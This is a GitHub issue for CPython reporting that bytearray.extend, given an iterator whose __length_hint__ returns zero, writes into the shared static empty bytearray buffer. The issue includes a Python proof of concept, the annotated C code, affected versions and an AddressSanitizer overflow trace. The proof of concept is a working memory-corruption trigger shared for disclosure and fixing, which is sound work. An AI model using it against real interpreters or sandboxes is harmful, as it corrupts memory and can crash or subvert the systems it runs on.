Uh oh!
There was an error while loading.Please reload this page.
- Notifications
You must be signed in to change notification settings - Fork33.7k
Open
Description
What happened?
A custom__length_hint__ can report zero tobytearray_extend, so it reuses the shared_PyByteArray_empty_string. The fill loop then writes user bytes into that static buffer, removing its NULL terminator and letting later consumers likefloat(bytearray()) read past the buffer.
Proof of Concept:
classEvil:def__init__(self):# Use ASCII digits so float() takes the fast path that expects a NUL terminator.self.data= [ord('1'),ord('2')]def__iter__(self):returnselfdef__next__(self):ifself.data:returnself.data.pop(0)raiseStopIterationdef__length_hint__(self):return0victim=bytearray()victim.extend(Evil())float(bytearray())
Affected Versions:
| Python Version | Status | Exit Code |
|---|---|---|
Python 3.9.24+ (heads/3.9:111bbc15b26, Oct 27 2025, 21:34:13) | ASAN | 1 |
Python 3.10.19+ (heads/3.10:014261980b1, Oct 27 2025, 21:19:00) [Clang 18.1.3 (1ubuntu1)] | ASAN | 1 |
Python 3.11.14+ (heads/3.11:88f3f5b5f11, Oct 27 2025, 21:20:35) [Clang 18.1.3 (1ubuntu1)] | ASAN | 1 |
Python 3.12.12+ (heads/3.12:8cb2092bd8c, Oct 27 2025, 21:27:07) [Clang 18.1.3 (1ubuntu1)] | ASAN | 1 |
Python 3.13.9+ (heads/3.13:9c8eade20c6, Oct 27 2025, 21:28:49) [Clang 18.1.3 (1ubuntu1)] | ASAN | 1 |
Python 3.14.0+ (heads/3.14:2e216728038, Oct 27 2025, 21:30:55) [Clang 18.1.3 (1ubuntu1)] | ASAN | 1 |
Python 3.15.0a1+ (heads/main:f5394c257ce, Oct 27 2025, 21:32:37) [Clang 18.1.3 (1ubuntu1)] | ASAN | 1 |
Vulnerable Code:
staticPyObject*bytearray_extend_impl(PyByteArrayObject*self,PyObject*iterable_of_ints)/*[clinic end generated code: output=2f25e0ce72b98748 input=aeed44b025146632]*/{/* ... *//* Try to determine the length of the argument. 32 is arbitrary. */buf_size=PyObject_LengthHint(iterable_of_ints,32);if (buf_size==-1) {Py_DECREF(it);returnNULL; }// Bug: Since buf_size is 0, the shared _PyByteArray_empty_string is returnedbytearray_obj=PyByteArray_FromStringAndSize(NULL,buf_size);if (bytearray_obj==NULL) {Py_DECREF(it);returnNULL; }// Now, buf points to _PyByteArray_empty_stringbuf=PyByteArray_AS_STRING(bytearray_obj);while ((item=PyIter_Next(it))!=NULL) {if (!_getbytevalue(item,&value)) {if (PyErr_ExceptionMatches(PyExc_TypeError)&&PyUnicode_Check(iterable_of_ints)) {PyErr_Format(PyExc_TypeError,"expected iterable of integers; got: 'str'"); }Py_DECREF(item);Py_DECREF(it);Py_DECREF(bytearray_obj);returnNULL; }// Write to the _PyByteArray_empty_string!buf[len++]=value;Py_DECREF(item);/* ... */}
Sanitizer Output:
===================================================================1342965==ERROR: AddressSanitizer: global-buffer-overflow on address 0x584de306fc81 at pc 0x584de1b121da bp 0x7ffcf155a660 sp 0x7ffcf1559e28READ of size 2 at 0x584de306fc81 thread T0 #0 0x584de1b121d9 in strchr (/home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/python+0x1e21d9) (BuildId: 5de9d2fcbcd44bfc1b0fe256566d49ad35ca1d56) #1 0x584de212ccad in _Py_string_to_number_with_underscores /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Python/pystrtod.c:356:9 #2 0x584de1d18b26 in PyFloat_FromString /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Objects/floatobject.c:228:14 #3 0x584de1cc7a3b in _PyObject_VectorcallTstate /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/./Include/internal/pycore_call.h:169:11 #4 0x584de1cc7a3b in PyObject_Vectorcall /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Objects/call.c:327:12 #5 0x584de1fae837 in _PyEval_EvalFrameDefault /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Python/generated_cases.c.h:1620:35 #6 0x584de1f8f3bb in _PyEval_EvalFrame /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/./Include/internal/pycore_ceval.h:121:16 #7 0x584de1f8f3bb in _PyEval_Vector /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Python/ceval.c:2005:12 #8 0x584de1f8f3bb in PyEval_EvalCode /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Python/ceval.c:888:21 #9 0x584de20e6370 in run_eval_code_obj /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Python/pythonrun.c:1365:12 #10 0x584de20e6370 in run_mod /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Python/pythonrun.c:1459:19 #11 0x584de20e043c in pyrun_file /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Python/pythonrun.c:1293:15 #12 0x584de20e043c in _PyRun_SimpleFileObject /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Python/pythonrun.c:521:13 #13 0x584de20dfb05 in _PyRun_AnyFileObject /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Python/pythonrun.c:81:15 #14 0x584de2147fe5 in pymain_run_file_obj /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Modules/main.c:410:15 #15 0x584de2147fe5 in pymain_run_file /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Modules/main.c:429:15 #16 0x584de214699d in pymain_run_python /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Modules/main.c:691:21 #17 0x584de214699d in Py_RunMain /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Modules/main.c:772:5 #18 0x584de2147451 in pymain_main /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Modules/main.c:802:12 #19 0x584de21475c3 in Py_BytesMain /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Modules/main.c:826:12 #20 0x79e04c02a1c9 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16 #21 0x79e04c02a28a in __libc_start_main csu/../csu/libc-start.c:360:3 #22 0x584de1af7104 in _start (/home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/python+0x1c7104) (BuildId: 5de9d2fcbcd44bfc1b0fe256566d49ad35ca1d56)0x584de306fc81 is located 63 bytes before global variable 'PyExc_EnvironmentError' defined in '/home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Objects/exceptions.c:29' (0x584de306fcc0) of size 80x584de306fc81 is located 0 bytes after global variable '_PyByteArray_empty_string' defined in '/home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Objects/bytearrayobject.c:21' (0x584de306fc80) of size 1SUMMARY: AddressSanitizer: global-buffer-overflow (/home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/python+0x1e21d9) (BuildId: 5de9d2fcbcd44bfc1b0fe256566d49ad35ca1d56) in strchrShadow bytes around the buggy address: 0x584de306fa00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x584de306fa80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x584de306fb00: 00 00 00 00 01 f9 f9 f9 00 00 00 00 00 00 00 00 0x584de306fb80: 00 01 f9 f9 f9 f9 f9 f9 00 00 00 00 00 f9 f9 f9 0x584de306fc00: 00 f9 f9 f9 00 f9 f9 f9 01 f9 f9 f9 00 00 00 00=>0x584de306fc80:[01]f9 f9 f9 00 00 00 00 00 f9 f9 f9 00 f9 f9 f9 0x584de306fd00: 00 00 00 00 f9 f9 f9 f9 00 00 00 00 00 00 00 00 0x584de306fd80: 00 00 00 00 00 00 00 00 00 f9 f9 f9 f9 f9 f9 f9 0x584de306fe00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x584de306fe80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x584de306ff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb==1342965==ABORTING